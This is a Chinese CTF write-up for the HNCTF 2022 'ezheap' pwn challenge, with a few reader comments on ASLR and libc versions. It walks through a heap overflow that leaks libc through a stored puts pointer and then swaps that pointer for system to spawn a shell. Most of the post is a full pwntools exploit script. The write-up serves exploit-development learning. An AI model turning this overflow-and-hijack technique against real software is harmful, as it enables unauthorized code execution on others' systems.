0%

[HNCTF 2022 WEEK4]ezheap hacbit的WriteUp

2023-07-01 09:09・By
hacbit
PWNheap

看到add()里面放了一个puts地址,然后show()函数是调用heap里面的puts地址来输出heap中数据。

所以思路为:可以先用puts泄露libc基地址,然后再把puts改成system地址来getshell

NSSIMAGE

NSSIMAGE

动调一下,先add两次分别给0x10空间
NSSIMAGE
图中红线分开的4个堆区,一词放的是name,content,name,content,我们可以把前一个堆用edit改变大小,溢出到070的位置把原本指向第二个content的堆指针改成指向puts的

# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
'''把原本0x10大小改成0x31(刚好可以覆盖到070那里的最低一位字节),使得原本指向下一个堆块的地址指向puts的地址'''
show(1)

libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))

接下来因为先输出name再输出content,完全可以把/bin/sh写到name上然后system(name)拿到shell,不需要再跳转到content上了,所以我们就没必要泄露heap基地址,070那里的堆指针可以直接覆盖过去,再把puts地址改为system地址

system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)
i()

用的本地打的图(配置了和题目一样的环境了,打远程应该没问题)
NSSIMAGE

完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
context.log_level = "debug"
libc = ELF("./libc-2.23.so")
io = process("./ezheap")
# io = remote('node1.anna.nssctf.cn', 28720)

def s(payload: bytes) -> None:
    return io.send(payload)

def sl(payload: bytes) -> None:
    return io.sendline(payload)

def sa(message: str, payload: bytes) -> bytes:
    return io.sendafter(message, payload)

def sla(message: str, payload: bytes) -> bytes:
    return io.sendlineafter(message, payload)
    
def r(numb = None, timeout: float = 5) -> bytes:
    return io.recv(numb, timeout)
    
def rl() -> bytes:
    return io.recvline()
    
def ru(message, drop: bool = False, timeout: float = 5) -> bytes:
    return io.recvuntil(message, drop=drop, timeout=timeout)
    
def i() -> None:
    return io.interactive()


def add(index, size, name, content):
    sla("Choice:", "1")
    sla("Input your idx:", str(index))
    sla("Size:", str(size))
    sla("Name:", name)
    sla("Content:", content)

def delete(index):
    sla("Choice:", "2")
    sla("Input your idx:", str(index))

def show(index):
    sla("Choice:", "3")
    sla("Input your idx:", str(index))

def edit(index, size, content):
    sla("Choice:", "4")
    sla("Input your idx:", str(index))
    sla("Size:", str(size))
    s(content)

# leak libc_base
add(0, 0x10, "A", "A")
add(1, 0x10, "B", "B")
payload = b'\x00'*0x18 + p64(0x31) + b'\x00'*0x10 + b'\x80'
edit(0, 0x31, payload)
show(1)

libc_base = u64(ru(b"\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
log.info("libc_base: " + hex(libc_base))
# get shell
system = libc_base + libc.sym["system"]
payload = p64(0)*3 + p64(0x31) + b'/bin/sh\x00' + p64(0)*2 + p64(1) + p64(system)
edit(0, 0x48, payload)
show(1)

i()
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

师傅请问这个堆地址是固定的吗,我gdb上一直是这个,如果用我本地的堆地址的话就跑不通,这是为什么啊
NSSIMAGE

这个题目libc版本是2.23,没有Tcache机制,我们用的都是高版本的,NSSIMAGE存了一块放tcache 的堆块,使用导致我们本地打和远程打这个题目不一样

不是固定的

gdb 调试的话应该是固定的,会关闭aslr
gdb.attach() 的话不会固定
远程能打通, 本地打不通应该是libc版本问题